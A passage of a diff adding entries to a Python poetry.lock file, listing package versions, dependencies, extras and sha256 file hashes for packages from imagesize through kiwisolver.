[ + {file = "imagesize-1.4.1-py2.py3-none-any.whl", hash = "sha256:0d8d18d08f840c19d0ee7ca1fd82490fdc3729b7ac93f49870406ddde8ef8d8b"}, + {file = "imagesize-1.4.1.tar.gz", hash = "sha256:69150444affb9cb0d5cc5a92b3676f0b2fb7cd9ae39e947a5e11a36b4497cd4a"}, +] + +[[package]] +name = "importlib-metadata" +version = "8.7.0" +description = "Read metadata from Python packages" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "importlib_metadata-8.7.0-py3-none-any.whl", hash = "sha256:e5dd1551894c77868a30651cef00984d50e1002d06942a7101d34870c5f02afd"}, + {file = "importlib_metadata-8.7.0.tar.gz", hash = "sha256:d13b81ad223b890aa16c5471f2ac3056cf76c5f10f82d6f9292f0b415f389000"}, +] + +[package.dependencies] +zipp = ">=3.20" + +[package.extras] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=2.2)"] +perf = ["ipython"] +test = ["flufl.flake8", "importlib_resources (>=1.3)", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"] +type = ["pytest-mypy"] + +[[package]] +name = "iniconfig" +version = "2.1.0" +description = "brain-dead simple config-ini parsing" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760"}, + {file = "iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7"}, +] + +[[package]] +name = "ipython" +version = "9.4.0" +description = "IPython: Productive Interactive Computing" +optional = false +python-versions = ">=3.11" +groups = ["main"] +files = [ + {file = "ipython-9.4.0-py3-none-any.whl", hash = "sha256:25850f025a446d9b359e8d296ba175a36aedd32e83ca9b5060430fe16801f066"}, + {file = "ipython-9.4.0.tar.gz", hash = "sha256:c033c6d4e7914c3d9768aabe76bbe87ba1dc66a92a05db6bfa1125d81f2ee270"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "sys_platform == \"win32\""} +decorator = "*" +ipython-pygments-lexers = "*" +jedi = ">=0.16" +matplotlib-inline = "*" +pexpect = {version = ">4.3", markers = "sys_platform != \"win32\" and sys_platform != \"emscripten\""} +prompt_toolkit = ">=3.0.41,<3.1.0" +pygments = ">=2.4.0" +stack_data = "*" +traitlets = ">=5.13.0" + +[package.extras] +all = ["ipython[doc,matplotlib,test,test-extra]"] +black = ["black"] +doc = ["docrepr", "exceptiongroup", "intersphinx_registry", "ipykernel", "ipython[test]", "matplotlib", "setuptools (>=18.5)", "sphinx (>=1.3)", "sphinx-rtd-theme", "sphinx_toml (==0.0.4)", "typing_extensions"] +matplotlib = ["matplotlib"] +test = ["packaging", "pytest", "pytest-asyncio (<0.22)", "testpath"] +test-extra = ["curio", "ipykernel", "ipython[test]", "jupyter_ai", "matplotlib (!=3.2.0)", "nbclient", "nbformat", "numpy (>=1.23)", "pandas", "trio"] + +[[package]] +name = "ipython-pygments-lexers" +version = "1.1.1" +description = "Defines a variety of Pygments lexers for highlighting IPython code." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "ipython_pygments_lexers-1.1.1-py3-none-any.whl", hash = "sha256:a9462224a505ade19a605f71f8fa63c2048833ce50abc86768a0d81d876dc81c"}, + {file = "ipython_pygments_lexers-1.1.1.tar.gz", hash = "sha256:09c0138009e56b6854f9535736f4171d855c8c08a563a0dcd8022f78355c7e81"}, +] + +[package.dependencies] +pygments = "*" + +[[package]] +name = "isodate" +version = "0.7.2" +description = "An ISO 8601 date/time/duration parser and formatter" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "isodate-0.7.2-py3-none-any.whl", hash = "sha256:28009937d8031054830160fce6d409ed342816b543597cece116d966c6d99e15"}, + {file = "isodate-0.7.2.tar.gz", hash = "sha256:4cd1aa0f43ca76f4a6c6c0292a85f40b35ec2e43e315b59f06e6d32171a953e6"}, +] + +[[package]] +name = "isort" +version = "6.0.1" +description = "A Python utility / library to sort Python imports." +optional = false +python-versions = ">=3.9.0" +groups = ["dev"] +files = [ + {file = "isort-6.0.1-py3-none-any.whl", hash = "sha256:2dc5d7f65c9678d94c88dfc29161a320eec67328bc97aad576874cb4be1e9615"}, + {file = "isort-6.0.1.tar.gz", hash = "sha256:1cb5df28dfbc742e490c5e41bad6da41b805b0a8be7bc93cd0fb2a8a890ac450"}, +] + +[package.extras] +colors = ["colorama"] +plugins = ["setuptools"] + +[[package]] +name = "jedi" +version = "0.19.2" +description = "An autocompletion tool for Python that can be used for text editors." +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "jedi-0.19.2-py2.py3-none-any.whl", hash = "sha256:a8ef22bde8490f57fe5c7681a3c83cb58874daf72b4784de3cce5b6ef6edb5b9"}, + {file = "jedi-0.19.2.tar.gz", hash = "sha256:4770dc3de41bde3966b02eb84fbcf557fb33cce26ad23da12c742fb50ecb11f0"}, +] + +[package.dependencies] +parso = ">=0.8.4,<0.9.0" + +[package.extras] +docs = ["Jinja2 (==2.11.3)", "MarkupSafe (==1.1.1)", "Pygments (==2.8.1)", "alabaster (==0.7.12)", "babel (==2.9.1)", "chardet (==4.0.0)", "commonmark (==0.8.1)", "docutils (==0.17.1)", "future (==0.18.2)", "idna (==2.10)", "imagesize (==1.2.0)", "mock (==1.0.1)", "packaging (==20.9)", "pyparsing (==2.4.7)", "pytz (==2021.1)", "readthedocs-sphinx-ext (==2.1.4)", "recommonmark (==0.5.0)", "requests (==2.25.1)", "six (==1.15.0)", "snowballstemmer (==2.1.0)", "sphinx (==1.8.5)", "sphinx-rtd-theme (==0.4.3)", "sphinxcontrib-serializinghtml (==1.1.4)", "sphinxcontrib-websupport (==1.2.4)", "urllib3 (==1.26.4)"] +qa = ["flake8 (==5.0.4)", "mypy (==0.971)", "types-setuptools (==67.2.0.1)"] +testing = ["Django", "attrs", "colorama", "docopt", "pytest (<9.0.0)"] + +[[package]] +name = "jinja2" +version = "3.1.6" +description = "A very fast and expressive template engine." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, + {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, +] + +[package.dependencies] +MarkupSafe = ">=2.0" + +[package.extras] +i18n = ["Babel (>=2.7)"] + +[[package]] +name = "jiter" +version = "0.10.0" +description = "Fast iterable JSON parser." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "jiter-0.10.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:cd2fb72b02478f06a900a5782de2ef47e0396b3e1f7d5aba30daeb1fce66f303"}, + {file = "jiter-0.10.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:32bb468e3af278f095d3fa5b90314728a6916d89ba3d0ffb726dd9bf7367285e"}, + {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa8b3e0068c26ddedc7abc6fac37da2d0af16b921e288a5a613f4b86f050354f"}, + {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:286299b74cc49e25cd42eea19b72aa82c515d2f2ee12d11392c56d8701f52224"}, + {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ed5649ceeaeffc28d87fb012d25a4cd356dcd53eff5acff1f0466b831dda2a7"}, + {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2ab0051160cb758a70716448908ef14ad476c3774bd03ddce075f3c1f90a3d6"}, + {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03997d2f37f6b67d2f5c475da4412be584e1cec273c1cfc03d642c46db43f8cf"}, + {file = "jiter-0.10.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c404a99352d839fed80d6afd6c1d66071f3bacaaa5c4268983fc10f769112e90"}, + {file = "jiter-0.10.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:66e989410b6666d3ddb27a74c7e50d0829704ede652fd4c858e91f8d64b403d0"}, + {file = "jiter-0.10.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b532d3af9ef4f6374609a3bcb5e05a1951d3bf6190dc6b176fdb277c9bbf15ee"}, + {file = "jiter-0.10.0-cp310-cp310-win32.whl", hash = "sha256:da9be20b333970e28b72edc4dff63d4fec3398e05770fb3205f7fb460eb48dd4"}, + {file = "jiter-0.10.0-cp310-cp310-win_amd64.whl", hash = "sha256:f59e533afed0c5b0ac3eba20d2548c4a550336d8282ee69eb07b37ea526ee4e5"}, + {file = "jiter-0.10.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:3bebe0c558e19902c96e99217e0b8e8b17d570906e72ed8a87170bc290b1e978"}, + {file = "jiter-0.10.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:558cc7e44fd8e507a236bee6a02fa17199ba752874400a0ca6cd6e2196cdb7dc"}, + {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4d613e4b379a07d7c8453c5712ce7014e86c6ac93d990a0b8e7377e18505e98d"}, + {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f62cf8ba0618eda841b9bf61797f21c5ebd15a7a1e19daab76e4e4b498d515b2"}, + {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:919d139cdfa8ae8945112398511cb7fca58a77382617d279556b344867a37e61"}, + {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13ddbc6ae311175a3b03bd8994881bc4635c923754932918e18da841632349db"}, + {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c440ea003ad10927a30521a9062ce10b5479592e8a70da27f21eeb457b4a9c5"}, + {file = "jiter-0.10.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:dc347c87944983481e138dea467c0551080c86b9d21de6ea9306efb12ca8f606"}, + {file = "jiter-0.10.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:13252b58c1f4d8c5b63ab103c03d909e8e1e7842d302473f482915d95fefd605"}, + {file = "jiter-0.10.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7d1bbf3c465de4a24ab12fb7766a0003f6f9bce48b8b6a886158c4d569452dc5"}, + {file = "jiter-0.10.0-cp311-cp311-win32.whl", hash = "sha256:db16e4848b7e826edca4ccdd5b145939758dadf0dc06e7007ad0e9cfb5928ae7"}, + {file = "jiter-0.10.0-cp311-cp311-win_amd64.whl", hash = "sha256:9c9c1d5f10e18909e993f9641f12fe1c77b3e9b533ee94ffa970acc14ded3812"}, + {file = "jiter-0.10.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:1e274728e4a5345a6dde2d343c8da018b9d4bd4350f5a472fa91f66fda44911b"}, + {file = "jiter-0.10.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7202ae396446c988cb2a5feb33a543ab2165b786ac97f53b59aafb803fef0744"}, + {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23ba7722d6748b6920ed02a8f1726fb4b33e0fd2f3f621816a8b486c66410ab2"}, + {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:371eab43c0a288537d30e1f0b193bc4eca90439fc08a022dd83e5e07500ed026"}, + {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6c675736059020365cebc845a820214765162728b51ab1e03a1b7b3abb70f74c"}, + {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0c5867d40ab716e4684858e4887489685968a47e3ba222e44cde6e4a2154f959"}, + {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395bb9a26111b60141757d874d27fdea01b17e8fac958b91c20128ba8f4acc8a"}, + {file = "jiter-0.10.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6842184aed5cdb07e0c7e20e5bdcfafe33515ee1741a6835353bb45fe5d1bd95"}, + {file = "jiter-0.10.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:62755d1bcea9876770d4df713d82606c8c1a3dca88ff39046b85a048566d56ea"}, + {file = "jiter-0.10.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:533efbce2cacec78d5ba73a41756beff8431dfa1694b6346ce7af3a12c42202b"}, + {file = "jiter-0.10.0-cp312-cp312-win32.whl", hash = "sha256:8be921f0cadd245e981b964dfbcd6fd4bc4e254cdc069490416dd7a2632ecc01"}, + {file = "jiter-0.10.0-cp312-cp312-win_amd64.whl", hash = "sha256:a7c7d785ae9dda68c2678532a5a1581347e9c15362ae9f6e68f3fdbfb64f2e49"}, + {file = "jiter-0.10.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:e0588107ec8e11b6f5ef0e0d656fb2803ac6cf94a96b2b9fc675c0e3ab5e8644"}, + {file = "jiter-0.10.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cafc4628b616dc32530c20ee53d71589816cf385dd9449633e910d596b1f5c8a"}, + {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:520ef6d981172693786a49ff5b09eda72a42e539f14788124a07530f785c3ad6"}, + {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:554dedfd05937f8fc45d17ebdf298fe7e0c77458232bcb73d9fbbf4c6455f5b3"}, + {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5bc299da7789deacf95f64052d97f75c16d4fc8c4c214a22bf8d859a4288a1c2"}, + {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5161e201172de298a8a1baad95eb85db4fb90e902353b1f6a41d64ea64644e25"}, + {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e2227db6ba93cb3e2bf67c87e594adde0609f146344e8207e8730364db27041"}, + {file = "jiter-0.10.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:15acb267ea5e2c64515574b06a8bf393fbfee6a50eb1673614aa45f4613c0cca"}, + {file = "jiter-0.10.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:901b92f2e2947dc6dfcb52fd624453862e16665ea909a08398dde19c0731b7f4"}, + {file = "jiter-0.10.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:d0cb9a125d5a3ec971a094a845eadde2db0de85b33c9f13eb94a0c63d463879e"}, + {file = "jiter-0.10.0-cp313-cp313-win32.whl", hash = "sha256:48a403277ad1ee208fb930bdf91745e4d2d6e47253eedc96e2559d1e6527006d"}, + {file = "jiter-0.10.0-cp313-cp313-win_amd64.whl", hash = "sha256:75f9eb72ecb640619c29bf714e78c9c46c9c4eaafd644bf78577ede459f330d4"}, + {file = "jiter-0.10.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:28ed2a4c05a1f32ef0e1d24c2611330219fed727dae01789f4a335617634b1ca"}, + {file = "jiter-0.10.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14a4c418b1ec86a195f1ca69da8b23e8926c752b685af665ce30777233dfe070"}, + {file = "jiter-0.10.0-cp313-cp313t-win_amd64.whl", hash = "sha256:d7bfed2fe1fe0e4dda6ef682cee888ba444b21e7a6553e03252e4feb6cf0adca"}, + {file = "jiter-0.10.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:5e9251a5e83fab8d87799d3e1a46cb4b7f2919b895c6f4483629ed2446f66522"}, + {file = "jiter-0.10.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:023aa0204126fe5b87ccbcd75c8a0d0261b9abdbbf46d55e7ae9f8e22424eeb8"}, + {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c189c4f1779c05f75fc17c0c1267594ed918996a231593a21a5ca5438445216"}, + {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:15720084d90d1098ca0229352607cd68256c76991f6b374af96f36920eae13c4"}, + {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e4f2fb68e5f1cfee30e2b2a09549a00683e0fde4c6a2ab88c94072fc33cb7426"}, + {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ce541693355fc6da424c08b7edf39a2895f58d6ea17d92cc2b168d20907dee12"}, + {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31c50c40272e189d50006ad5c73883caabb73d4e9748a688b216e85a9a9ca3b9"}, + {file = "jiter-0.10.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fa3402a2ff9815960e0372a47b75c76979d74402448509ccd49a275fa983ef8a"}, + {file = "jiter-0.10.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:1956f934dca32d7bb647ea21d06d93ca40868b505c228556d3373cbd255ce853"}, + {file = "jiter-0.10.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:fcedb049bdfc555e261d6f65a6abe1d5ad68825b7202ccb9692636c70fcced86"}, + {file = "jiter-0.10.0-cp314-cp314-win32.whl", hash = "sha256:ac509f7eccca54b2a29daeb516fb95b6f0bd0d0d8084efaf8ed5dfc7b9f0b357"}, + {file = "jiter-0.10.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5ed975b83a2b8639356151cef5c0d597c68376fc4922b45d0eb384ac058cfa00"}, + {file = "jiter-0.10.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3aa96f2abba33dc77f79b4cf791840230375f9534e5fac927ccceb58c5e604a5"}, + {file = "jiter-0.10.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:bd6292a43c0fc09ce7c154ec0fa646a536b877d1e8f2f96c19707f65355b5a4d"}, + {file = "jiter-0.10.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:39de429dcaeb6808d75ffe9effefe96a4903c6a4b376b2f6d08d77c1aaee2f18"}, + {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:52ce124f13a7a616fad3bb723f2bfb537d78239d1f7f219566dc52b6f2a9e48d"}, + {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:166f3606f11920f9a1746b2eea84fa2c0a5d50fd313c38bdea4edc072000b0af"}, + {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:28dcecbb4ba402916034fc14eba7709f250c4d24b0c43fc94d187ee0580af181"}, + {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:86c5aa6910f9bebcc7bc4f8bc461aff68504388b43bfe5e5c0bd21efa33b52f4"}, + {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ceeb52d242b315d7f1f74b441b6a167f78cea801ad7c11c36da77ff2d42e8a28"}, + {file = "jiter-0.10.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ff76d8887c8c8ee1e772274fcf8cc1071c2c58590d13e33bd12d02dc9a560397"}, + {file = "jiter-0.10.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a9be4d0fa2b79f7222a88aa488bd89e2ae0a0a5b189462a12def6ece2faa45f1"}, + {file = "jiter-0.10.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9ab7fd8738094139b6c1ab1822d6f2000ebe41515c537235fd45dabe13ec9324"}, + {file = "jiter-0.10.0-cp39-cp39-win32.whl", hash = "sha256:5f51e048540dd27f204ff4a87f5d79294ea0aa3aa552aca34934588cf27023cf"}, + {file = "jiter-0.10.0-cp39-cp39-win_amd64.whl", hash = "sha256:1b28302349dc65703a9e4ead16f163b1c339efffbe1049c30a44b001a2a4fff9"}, + {file = "jiter-0.10.0.tar.gz", hash = "sha256:07a7142c38aacc85194391108dc91b5b57093c978a9932bd86a36862759d9500"}, +] + +[[package]] +name = "jmespath" +version = "1.0.1" +description = "JSON Matching Expressions" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"}, + {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"}, +] + +[[package]] +name = "jsonschema" +version = "4.25.0" +description = "An implementation of JSON Schema validation for Python" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "jsonschema-4.25.0-py3-none-any.whl", hash = "sha256:24c2e8da302de79c8b9382fee3e76b355e44d2a4364bb207159ce10b517bd716"}, + {file = "jsonschema-4.25.0.tar.gz", hash = "sha256:e63acf5c11762c0e6672ffb61482bdf57f0876684d8d249c0fe2d730d48bc55f"}, +] + +[package.dependencies] +attrs = ">=22.2.0" +jsonschema-specifications = ">=2023.03.6" +referencing = ">=0.28.4" +rpds-py = ">=0.7.1" + +[package.extras] +format = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3987", "uri-template", "webcolors (>=1.11)"] +format-nongpl = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3986-validator (>0.1.0)", "rfc3987-syntax (>=1.1.0)", "uri-template", "webcolors (>=24.6.0)"] + +[[package]] +name = "jsonschema-specifications" +version = "2025.4.1" +description = "The JSON Schema meta-schemas and vocabularies, exposed as a Registry" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "jsonschema_specifications-2025.4.1-py3-none-any.whl", hash = "sha256:4653bffbd6584f7de83a67e0d620ef16900b390ddc7939d56684d6c81e33f1af"}, + {file = "jsonschema_specifications-2025.4.1.tar.gz", hash = "sha256:630159c9f4dbea161a6a2205c3011cc4f18ff381b189fff48bb39b9bf26ae608"}, +] + +[package.dependencies] +referencing = ">=0.31.0" + +[[package]] +name = "kiwisolver" +version = "1.4.8" +description = "A fast implementation of the Cassowary constraint solver" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "kiwisolver-1.4.8-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:88c6f252f6816a73b1f8c904f7bbe02fd67c09a69f7cb8a0eecdbf5ce78e63db"}, + {file = "kiwisolver-1.4.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c72941acb7b67138f35b879bbe85be0f6c6a70cab78fe3ef6db9c024d9223e5b"}, + {file = "kiwisolver-1.4.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce2cf1e5688edcb727fdf7cd1bbd0b6416758996826a8be1d958f91880d0809d"}, + {file = "kiwisolver-1.4.8-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:c8bf637892dc6e6aad2bc6d4d69d08764166e5e3f69d469e55427b6ac001b19d"}, + {file = "kiwisolver-1.4.8-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:034d2c891f76bd3edbdb3ea11140d8510dca675443da7304205a2eaa45d8334c"}, + {file = "kiwisolver-1.4.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d47b28d1dfe0793d5e96bce90835e17edf9a499b53969b03c6c47ea5985844c3"}, + {file = "kiwisolver-1.4.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb158fe28ca0c29f2260cca8c43005329ad58452c36f0edf298204de32a9a3ed"}, + {file = "kiwisolver-1.4.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5536185fce131780ebd809f8e623bf4030ce1b161353166c49a3c74c287897f"}, + {file = "kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:369b75d40abedc1da2c1f4de13f3482cb99e3237b38726710f4a793432b1c5ff"}, + {file = "kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:641f2ddf9358c80faa22e22eb4c9f54bd3f0e442e038728f500e3b978d00aa7d"}, + {file = "kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d561d2d8883e0819445cfe58d7ddd673e4015c3c57261d7bdcd3710d0d14005c"}, + {file = "kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:1732e065704b47c9afca7ffa272f845300a4eb959276bf6970dc07265e73b605"}, + {file = "kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:bcb1ebc3547619c3b58a39e2448af089ea2ef44b37988caf432447374941574e"}, + {file = "kiwisolver-1.4.8-cp310-cp310-win_amd64.whl", hash = "sha256:89c107041f7b27844179ea9c85d6da275aa55ecf28413e87624d033cf1f6b751"}, + {file = "kiwisolver-1.4.8-cp310-cp310-win_arm64.whl", hash = "sha256:b5773efa2be9eb9fcf5415ea3ab70fc785d598729fd6057bea38d539ead28271"}, + {file = "kiwisolver-1.4.8-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a4d3601908c560bdf880f07d94f31d734afd1bb71e96585cace0e38ef44c6d84"}, + {file = "kiwisolver-1.4.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:856b269c4d28a5c0d5e6c1955ec36ebfd1651ac00e1ce0afa3e28da95293b561"}, + {file = "kiwisolver-1.4.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c2b9a96e0f326205af81a15718a9073328df1173a2619a68553decb7097fd5d7"}, + {file = "kiwisolver-1.4.8-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5020c83e8553f770cb3b5fc13faac40f17e0b205bd237aebd21d53d733adb03"}, + {file = "kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dace81d28c787956bfbfbbfd72fdcef014f37d9b48830829e488fdb32b49d954"}, + {file = "kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:11e1022b524bd48ae56c9b4f9296bce77e15a2e42a502cceba602f804b32bb79"}, + {file = "kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b9b4d2892fefc886f30301cdd80debd8bb01ecdf165a449eb6e78f79f0fabd6"}, + {file = "kiwisolver-1.4.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a96c0e790ee875d65e340ab383700e2b4891677b7fcd30a699146f9384a2bb0"}, + {file = "kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:23454ff084b07ac54ca8be535f4174170c1094a4cff78fbae4f73a4bcc0d4dab"}, + {file = "kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:87b287251ad6488e95b4f0b4a79a6d04d3ea35fde6340eb38fbd1ca9cd35bbbc"}, + {file = "kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b21dbe165081142b1232a240fc6383fd32cdd877ca6cc89eab93e5f5883e1c25"}, + {file = "kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:768cade2c2df13db52475bd28d3a3fac8c9eff04b0e9e2fda0f3760f20b3f7fc"}, + {file = "kiwisolver-1.4.8-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d47cfb2650f0e103d4bf68b0b5804c68da97272c84bb12850d877a95c056bd67"}, + {file = "kiwisolver-1.4.8-cp311-cp311-win_amd64.whl", hash = "sha256:ed33ca2002a779a2e20eeb06aea7721b6e47f2d4b8a8ece979d8ba9e2a167e34"}, + {file = "kiwisolver-1.4.8-cp311-cp311-win_arm64.whl", hash = 